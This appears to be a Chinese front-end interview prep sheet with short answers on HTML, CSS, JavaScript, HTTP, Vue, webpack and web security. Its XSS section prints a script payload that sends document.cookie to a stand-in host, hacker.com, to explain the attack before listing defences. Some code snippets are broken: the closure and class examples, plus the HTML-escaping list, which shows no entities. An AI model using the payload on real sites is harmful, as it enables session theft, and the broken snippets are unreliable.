1.HTML 押题
1.1 你是如何理解 HTML 语义化的?
- 第一种举例,段落用 p,边栏用 aside,主要内容用 main 标签
- 第二种
最开始是 PHP 后端写 HTML,不会 CSS,于是就用 table 来布局。table 使用展示表格的。严重违反了 HTML 语义化。 后来有了专门的写 CSS 的前端,他们会使用 DIV + CSS 布局,主要是用 float 和绝对定位布局。稍微符合了 HTML 语义化。 再后来,前端专业化,知道 HTML 的各个标签的用法,于是会使用恰当的标签来展示内容,而不是傻傻的全用 div,会尽量使用 h1、ul、p、main、header 等标签 语义化的好处是已读、有利于SEO等。
- 第三种:
对面试官说请看我的博客 zhuanlan.zhihu.com/p/32570423
1.2 meta viewport 是做什么用的,怎么写?
- 死背:
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
/* 控制页面在移动端不要缩小显示。*/
- 侃侃而谈
一开始,所有页面都是给PC准备的,乔布斯推出 iPhone 3GS,页面是不适应手机屏幕的,所以乔布斯的工程师想了一个办法,默认把手机模拟成 980px,页面缩小。 后来,智能手机普及,这个功能在部分网站不需要了,所以我们就用 meta:vp 让手机不要缩小我的网页。
1.3 canvas 元素是干什么的?
- 项目丢给他。
- 看 MDN 的 canvas 入门手册。
2. CSS 押题
2.1 说说盒模型。
- 举例:
- content-box参数: width == 内容区宽度
- border-box参数: width == border 宽度 + 内容区宽度 + padding 宽度
- 高度以此类推。
2.2 css reset 和 normalize.css 有什么区别
- reset 重置,之前的样式我不要,a{color: red;},抛弃默认样式
- normalize 让所有浏览器的标签都跟标准规定的默认样式一致,各浏览器上的标签默认样式基本统一。
2.3 如何居中
- 水平居中:
- 内联:爸爸身上写 text-align:center;
- 块级:margin-left: auto; margin-right: auto;
- 垂直居中: jscode.me/t/topic/193…
2.4 选择器优先级如何确定?
- 选择器越具体,优先级越高。 #xxx 大于 .yyy
- 同样优先级,写在后面的覆盖前面的。
- color: red !important; 优先级最高。
2.5 BFC 是什么?
- 父子margin合并,父无margin,子有,会把父也影响,需要在父元素清除浮动
- overflow:hidden 清除浮动
- 用 .clearfix 清除浮动,坚决不用 overflow:hidden 清除浮动
- overflow:hidden 取消父子 margin 合并。
- 例子:jsbin.com/conulod/1/e…
- 父元素用 padding-top: 1px;也可以,实际无padding
2.6 如何清除浮动?
- overflow: hidden (最好不这么用)
- .clearfix 清除浮动写在爸爸身上
.clearfix::after{
content: ''; display: block; clear:both;
}
.clearfix{
zoom: 1; /* IE 兼容 */
}
3. JS 押题
3.1 JS 有哪些数据类型?
- string number bool undefined null object symbol
- object 包括了数组、函数、正则、日期等对象
- NaN是数字类型
3.2 Promise 怎么使用?
- then
$.ajax(...).then(成功函数, 失败函数)
- 链式 then
$.ajax(...).then(成功函数, 失败函数).then(成功函数2, 失败函数2)
- 如何自己生成 Promise 对象
function xxx(){
return new Promise(function(resolve, reject){
setTimeout(()=>{
resolve() 或者 reject()
},3000)
})
}
xxx().then(...)
3.3 AJAX 手写一下?
let xhr = new XMLHttpRequest()
xhr.open('POST', '/xxxx')
xhr.onreadystatechange = function(){
if(xhr.readyState === 4 && xhr.status === 200){
console.log(xhr.responseText)
}
}
xhr.send('a=1&b=2')
3.4 闭包是什么?
- 一个函数1生成一个函数2,函数2可以访问2外的变量
function (){
var n = 0
return function(){
n += 1
}
}
let adder = ()
adder() // n === 1
adder() // n === 2
console.log(n) // n is not defined 外部没有这个变量
3.5 这段代码里的 this 是什么?
- fn() 里面的 this 就是 window
- fn() 是 strict mode,this 就是 undefined
- a.b.c.fn() 里面的 this 就是 a.b.c
- new F() 里面的 this 就是新生成的实例
- () => console.log(this) 里面 this 跟外面的 this 的值一模一样
- 正确参考:zhuanlan.zhihu.com/p/23804247
3.6 什么是立即执行函数?使用立即执行函数的目的是什么?
- 造出一个函数作用域,防止污染全局变量
- 局部变量和闭包的结合理解
;(function (){
var name
}())
;(function (){
var name
})()
!!!!!!!function (){
var name
}()
~function (){
var name
}()
- ES 6 新语法
{
let name
}
3.7 async/await 语法以及目的
function returnPromise(){
return new Promise( function(resolve, reject){
setTimeout(()=>{
resolve('fuck')
},3000)
})
}
// 以前同步写法
returnPromise().then((result)=>{
result === 'fuck'
})
// 异步await写法
var result = await returnPromise()
// 注意只有控制台支持顶级作用域的 await,JS 文件里的 await 只能写在 async 函数里
// result === 'fuck'
- 目的:把异步代码写成同步代码。
3.8 如何实现深拷贝?
-
- JSON 来深拷贝
- 缺点:JSON 不支持函数、引用、undefined、RegExp、Date……
var a = {...}
var b = JSON.parse( JSON.stringify(a) )
-
- 递归拷贝
function clone(object){
var object2
if(! (object instanceof Object) ){
return object
}else if(object instanceof Array){
object2 = []
}else if(object instanceof Function){
object2 = eval(object.toString())
}else if(object instanceof Object){
object2 = {}
}
/*
你也可以把 Array Function Object 都当做 Object 来看待,参考 https://juejin.cn/post/6844903461000069128
*/
for(let key in object){
object2[key] = clone(object[key])
}
return object2
}
-
- 考虑环
-
- 考虑RegExp、Date、Set、Symbol、WeakMap
3.9 如何实现数组去重?
- 1.计数排序的逻辑(缺点:只能正整数)
// 不重复的放入对象的key
var a = [4,2,5,6,3,4,5]
var hashTab = {}
for(let i=0; i<a.length;i++){
if(a[i] in hashTab){
// 什么也不做
}else{
hashTab[ a[i] ] = true
}
}
//hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
console.log(Object.keys(hashTab)) // ['4','2','5','6','3']
-
- Set 去重
Array.from(new Set(a))
-
- WeakMap 可以实现任意类型去重
3.10 如何用正则实现 string.trim()
- 头尾去空格
function trim(string){
return string.replace(/^\s+|\s+$/g, '')
}
3.11 JS 原型是什么?
- 举例
- var a = [1,2,3]
- 只有0、1、2、length 4 个key
- 为什么可以 a.push(4) ,push 是哪来的?
- a.proto === Array.prototype
- push 就是沿着 a.proto 找到的,也就是 Array.prototype.push
- Array.prototype 还有很多方法,如 join、pop、slice、splice
- Array.prototype 就是 a 的原型(proto)
- 参考:zhuanlan.zhihu.com/p/23090041
3.12 ES 6 中的 class 了解吗?
- 把 MDN class 章节看完
- 记住一个例子
3.13 JS 如何实现继承?
- 原型链实现继承
function Animal(){
this.body = '肉体'
}
Animal.prototype.move = function(){
}
// 自身属性继承
function Human(name){
Animal.apply(this, arguments)
this.name = name
}
// Human.prototype.__proto__ = Animal.prototype // 直接相等是非法
// 转一下
var f = function(){}
f.prototype = Animal.prototype
Human.prototype = new f()
Human.prototype.useTools = function(){}
var frank = new Human()
- extends 关键字实现继承
class Animal{
constructor(){
this.body = '肉体'
},
move(){}
}
class Human extends Animal{
constructor(name){
super()
this.name = name
},
useTools(){}
}
var frank = new Human()
3.14 == 相关题目直接反着答(放弃)
4. DOM 押题
4.1 DOM 事件模型是什么?
- 冒泡
- 捕获
- 如果这个元素是被点击的元素,那么捕获不一定在冒泡之前,顺序是由监听顺序决定的。
4.2 移动端的触摸事件了解吗?
- touchstart touchmove touchend touchcancel
- 模拟 swipe 事件:记录两次 touchmove 的位置差,如果后一次在前一次的右边,说明向右滑了。
4.3 事件委托是什么?有什么好处?
-
假设父元素有4个儿子,我不监听4个儿子,而是监听父元素,看触发事件的元素是哪个儿子,这就是事件委托。
-
可以监听还没有出生的儿子(动态生成的元素)。省监听器。
// 有 bug 但是可以应付面试官的事件委托
function listen(element, eventType, selector, fn){
element.addEventListener(eventType, e=>{
if(e.target.matches(selector)){
fn.call(el, e, el)
}
})
}
// 工资 12k+ 的前端写的事件委托
function listen(element, eventType, selector, fn) {
element.addEventListener(eventType, e => {
let el = e.target
while (!el.matches(selector)) {
if (element === el) {
el = null
break
}
el = el.parentNode
}
el && fn.call(el, e, el)
})
return element
}
listen(ul, 'click', 'li', ()=>{})
html结构:ul>li*5>span
5. HTTP 押题
5.1 HTTP 状态码知道哪些?
5.2 301 和 302 的区别是什么?
- 301 永久重定向,浏览器会记住
- 302 临时重定向,浏览器不会记住,因为会恢复
5.3 HTTP 缓存怎么做?
- Cache-Control: max-age=300
- cdn.com/1.js?v=1 用版本号避开缓存
5.4 Cache-Control 和 Etag 的区别是什么?
5.5 Cookie 是什么?Session 是什么?
- Cookie
- HTTP响应通过 Set-Cookie 设置 Cookie
- 浏览器访问指定域名是必须带上 Cookie 作为 Request Header
- Cookie 一般用来记录用户信息
- Session
- Session 是服务器端的内存(数据)
- Session 一般通过在 Cookie 里记录 SessionID 实现
- SessionID 一般是随机数
5.6 LocalStorage 和 Cookie 的区别是什么?
- Cookie 会随请求被发到服务器上,而 LocalStorage 不会
- Cookie 大小一般4k以下,LocalStorage 一般5Mb 左右
5.7 GET 和 POST 的区别是什么?
- 参数。GET 的参数放在 url 的查询参数里,POST 的参数(数据)放在请求消息体里。
- 安全(扯淡)。GET 没有 POST 安全(都不安全)
- GET 的参数(url查询参数)有长度限制,一般是 1024 个字符。POST 的参数(数据)没有长度限制(扯淡,4~10Mb 限制)
- 包。GET 请求只需要发一个包,POST 请求需要发两个以上包(因为 POST 有消息体)(扯淡,GET 也可以用消息体)
- GET 用来读数据,POST 用来写数据,POST 不幂等(幂等的意思就是不管发多少次请求,结果都一样。)
5.8 怎么跨域?JSONP 是什么?CORS 是什么?postMessage 是什么?
- JSONP
- CORS
- postMessage 看一下 MDN
6. Vue 押题
6.1 Vue 有哪些生命周期钩子函数?
6.2 Vue 如何实现组件通信?
- 父子通信(使用 Prop 传递数据、使用 v-on 绑定自定义事件)
- 爷孙通信(通过两对父子通信,爷爸之间父子通信,爸儿之间父子通信)
- 兄弟通信(new Vue() 作为 eventBus)
6.3 Vuex 的作用是什么?
- 看文档、博客 vuex.vuejs.org/zh-cn/intro…
6.4 VueRouter 路由是什么?
- 看文档、博客
6.5 Vue 的双向绑定是如何实现的?有什么缺点?
- 看文档,深入响应式原理 cn.vuejs.org/v2/guide/re…
6.6 Computed 计算属性的用法?跟 Methods 的区别。
7. 算法押题
- 排序算法(背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序)
- 二分查找法
- 翻转二叉树
8. 安全押题
8.1 什么是 XSS 攻击?如何预防?
- 举例
div.innerHTML = userComment
// userComment 内容是
<script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 恶意就被执行了,这就是 XSS
- 预防
- 不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
- 如果你一样要用 innerHTML,字符过滤
- 把 < 替换成 <
- 把 > 替换成 >
- 把 & 替换成 &
- 把 ' 替换成 '
- 把 ' 替换成 "
- 代码 div.innerHTML = userComment.replace(/>/g, '<').replace...
- 使用 CSP Content Security Policy
8.2 什么是 CSRF 攻击?如何预防?
- 过程
- 用户在 qq.com 登录
- 用户切换到 hacker.com(恶意网站)
- hacker.com 发送一个 qq.com/add_friend 请求,让当前用户添加 hacker 为好友。
- 用户在不知不觉中添加 hacker 为好友。
- 用户没有想发这个请求,但是 hacker 伪造了用户发请求的假象。
- 避免
- 检查 referer,qq.com 可以拒绝来自 hacker.com 的请求
- csrf_token 来解决
9. Webpack 题
9.1 转译出的文件过大怎么办?
- 使用 code split
- 写法 import('xxx').then(xxx=>{console.log(xxx)})
- xxx 模块就是按需加载的
9.2 转译速度慢什么办?
9.3 写过 webpack loader 吗?
10. 发散题
-
从输入 URL 到页面展现中间发生了什么?
- DNS 查询 DNS 缓存
- 建立 TCP 连接(三次握手)连接复用
- 发送 HTTP 请求(请求的四部分)
- 后台处理请求
- 监听 80 端口
- 路由
- 渲染 HTML 模板
- 生成响应
- 发送 HTTP 响应
- 关闭 TCP 连接(四次挥手)
- 解析 HTML
- 下载 CSS(缓存
- 解析 CSS
- 下载 JS(缓存
- 解析 JS
- 下载图片
- 解析图片
- 渲染 DOM 树
- 渲染样式树
- 执行 JS
-
你遇到过最难的问题是什么?
11. 刁钻代码题
- map加parseInt
[1,2,3].map(parseInt)
parseInt(1,0, array) // 1
parseInt(2,1, array) // NaN
parseInt(3,2, array) // NaN
- a.x = a = {}
var a = {n:1};
var b = a;
a.x = a = {n:2};
问 a.x 是多少?
- (a ==1 && a== 2 && a==3) 可能为 true 吗?
a = {
value: 0,
toString(){
a.value += 1
return a.value
}
}